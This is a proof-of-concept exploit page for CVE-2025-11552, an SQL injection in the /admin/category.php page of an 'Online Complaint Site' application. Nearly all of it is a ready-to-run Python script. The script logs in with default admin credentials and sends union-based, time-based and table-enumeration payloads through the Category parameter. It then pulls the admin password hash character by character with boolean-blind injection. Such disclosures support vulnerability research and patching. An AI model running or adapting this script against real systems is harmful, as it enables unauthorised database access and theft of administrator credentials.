CVE-2025-11552：Online Complaint Site category.php SQL注入漏洞

# CVE-2025-11552 PoC - Online Complaint Site SQL Injection # Target: /admin/category.php # Vulnerable Parameter: Category import requests TARGET_URL = "http://target.com" ADMIN_PATH = "/admin/category.php" USERNAME = "admin" PASSWORD = "admin" session = requests.Session() # Step 1: Login to admin panel login_url = f"{TARGET_URL}/admin/" login_data = { "username": USERNAME, "password": PASSWORD, "submit": "Login" } session.post(login_url, data=login_data) # Step 2: Exploit SQL Injection via Category parameter # Error-based injection to extract database information payloads = [ # Basic injection test "' OR '1'='1", # Union-based injection to extract data "' UNION SELECT 1,user(),database()-- -", # Extract admin credentials "' UNION SELECT 1,username,password FROM admin-- -", # Time-based blind injection "' OR SLEEP(5)-- -", # Extract table names "' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -" ] for payload in payloads: params = { "Category": payload } response = session.get(f"{TARGET_URL}{ADMIN_PATH}", params=params) print(f"[*] Payload: {payload}") print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") if "error" in response.text.lower() or "warning" in response.text.lower(): print(f"[!] Possible SQL Error Detected!") print("-" * 60) # Step 3: Extract sensitive data using boolean-based blind injection def extract_data(query): """Extract data character by character using boolean-based blind injection""" result = "" for i in range(1, 50): for char_code in range(32, 127): payload = f"' OR ASCII(SUBSTRING(({query}),{i},1))={char_code}-- -" params = {"Category": payload} response = session.get(f"{TARGET_URL}{ADMIN_PATH}", params=params) # Check if the response differs from the normal response if len(response.text) > 1000: # Adjust threshold as needed result += chr(char_code) print(f"[+] Extracted so far: {result}") break else: break return result # Extract admin password hash print("\n[*] Extracting admin password hash...") admin_hash = extract_data("SELECT password FROM admin LIMIT 1") print(f"[+] Admin Password Hash: {admin_hash}")